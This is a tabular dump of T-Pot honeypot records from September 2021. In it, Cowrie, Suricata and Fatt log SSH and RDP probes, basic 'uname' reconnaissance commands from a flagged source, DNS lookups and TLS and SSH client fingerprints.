20556	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:31.806073+03	2021-09-20 14:15:02.520648+03	{"_id": "qAXgAnwBvYTbRNuE_vmJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:31.806073Z", "@timestamp": "2021-09-20T11:04:31.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20557	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:31.61337+03	2021-09-20 14:15:02.522613+03	{"_id": "rAXgAnwBvYTbRNuE_vnV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "176.60.208.43", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.15045738220214844, "duplicate": true, "timestamp": "2021-09-20T11:04:31.613370Z", "@timestamp": "2021-09-20T11:04:31.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20559	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:31.463542+03	2021-09-20 14:15:02.524613+03	{"_id": "sQXgAnwBvYTbRNuE__kH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:31.463542Z", "@timestamp": "2021-09-20T11:04:31.463Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20560	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:31.278028+03	2021-09-20 14:15:02.525612+03	{"_id": "twXgAnwBvYTbRNuE__kH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "176.60.208.43", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.15132498741149902, "duplicate": true, "timestamp": "2021-09-20T11:04:31.278028Z", "@timestamp": "2021-09-20T11:04:31.278Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20561	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:31.462996+03	2021-09-20 14:15:02.526613+03	{"_id": "uAXgAnwBvYTbRNuE__kH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-nios-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.session.params", "message": [], "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:31.462996Z", "@timestamp": "2021-09-20T11:04:31.462Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20562	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:31.806611+03	2021-09-20 14:15:02.527612+03	{"_id": "uQXgAnwBvYTbRNuE__kH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.60.208.43", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "838e205c7ce9", "@version": "1", "timestamp": "2021-09-20T11:04:31.806611Z", "@timestamp": "2021-09-20T11:04:31.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20563	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:04:31.867981+03	2021-09-20 14:15:02.529614+03	{"_id": "ugXhAnwBvYTbRNuEAfmh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:04:31.498910+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 788985135733982, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 60548, "timestamp": "2021-09-20T11:04:31.867981Z", "@timestamp": "2021-09-20T11:04:31.867Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
20564	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:04:32.201012+03	2021-09-20 14:15:02.530614+03	{"_id": "uwXhAnwBvYTbRNuEAfmh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:04:31.498910+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 788985135733982, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60548, "dest_port": 3389, "timestamp": "2021-09-20T11:04:32.201012Z", "@timestamp": "2021-09-20T11:04:32.201Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20565	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:32.244796+03	2021-09-20 14:15:02.531612+03	{"_id": "wgXhAnwBvYTbRNuEAvlz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "176.60.208.43", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.43882274627685547, "duplicate": true, "timestamp": "2021-09-20T11:04:32.244796Z", "@timestamp": "2021-09-20T11:04:32.244Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20566	176.60.208.43	109.199.241.180	Cowrie	2021-09-20 14:04:32.53376+03	2021-09-20 14:15:02.532642+03	{"_id": "wQXhAnwBvYTbRNuEAvlz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "176.60.208.43", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "838e205c7ce9", "@version": "1", "duration": 0.0772237777709961, "duplicate": true, "timestamp": "2021-09-20T11:04:32.533760Z", "@timestamp": "2021-09-20T11:04:32.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20567	8.20.123.149	109.199.241.180	Suricata	2021-09-20 14:04:44.709887+03	2021-09-20 14:15:02.533643+03	{"_id": "yQXhAnwBvYTbRNuEMPmJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.49.38.1635253109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:04:44.367205+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.20.123.149", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1840762497833573, "payload": "AAAAVC4eAAAAIA4e4uvYXRac/2SOinbDUJuIL/EeYpdLaV8vQZCRuwFlRMmmZBfX9GclthLc4JN0u3rVLTX/JSLB/XQlVrfAjDN9UMWSRJlLaz2iBR4Zow==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 62537, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:04:44.709887Z", "@timestamp": "2021-09-20T11:04:44.709Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... .....]...d..v.P../..b.Ki_/A....eD..d...g%.....t.z.-5.%\\"..t%V...3}P..D.Kk=....."}}	1	\N	\N	alert	\N	\N
20568	8.20.123.149	109.199.241.180	Fatt	2021-09-20 14:04:44.709797+03	2021-09-20 14:15:02.535614+03	{"_id": "ygXhAnwBvYTbRNuEMflX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.20.123.149", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.49.38.1635253109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 62537, "dest_port": 22, "timestamp": "2021-09-20T11:04:44.709797", "@timestamp": "2021-09-20T11:04:44.709Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20569	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:04:44.710577+03	2021-09-20 14:15:02.536641+03	{"_id": "ywXhAnwBvYTbRNuEMflX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "3609db8031fe", "@version": "1", "timestamp": "2021-09-20T11:04:44.710577Z", "@timestamp": "2021-09-20T11:04:44.710Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
20570	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:04:48.626327+03	2021-09-20 14:15:02.537642+03	{"_id": "2AXhAnwBvYTbRNuEQPko", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 3912, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2358, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 461934114670714, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 56940, "timestamp": "2021-09-20T11:04:48.626327Z", "@timestamp": "2021-09-20T11:04:48.626Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20571	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:04:48.237677+03	2021-09-20 14:15:02.538645+03	{"_id": "2wXhAnwBvYTbRNuEQPkq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 17813, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2358, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1670494962096874, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 57522, "timestamp": "2021-09-20T11:04:48.237677Z", "@timestamp": "2021-09-20T11:04:48.237Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20572	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:04:48.290913+03	2021-09-20 14:15:02.540613+03	{"_id": "3AXhAnwBvYTbRNuEQPnA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34740, "dest_port": 443, "timestamp": "2021-09-20T11:04:48.290913", "@timestamp": "2021-09-20T11:04:48.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20573	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:04:48.334772+03	2021-09-20 14:15:02.541613+03	{"_id": "3QXhAnwBvYTbRNuEQPnA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34740, "timestamp": "2021-09-20T11:04:48.334772", "@timestamp": "2021-09-20T11:04:48.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20574	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:04:48.675509+03	2021-09-20 14:15:02.542612+03	{"_id": "3gXhAnwBvYTbRNuEQPnA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34742, "dest_port": 443, "timestamp": "2021-09-20T11:04:48.675509", "@timestamp": "2021-09-20T11:04:48.675Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20575	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:04:48.715701+03	2021-09-20 14:15:02.544614+03	{"_id": "3wXhAnwBvYTbRNuEQPnA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34742, "timestamp": "2021-09-20T11:04:48.715701", "@timestamp": "2021-09-20T11:04:48.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	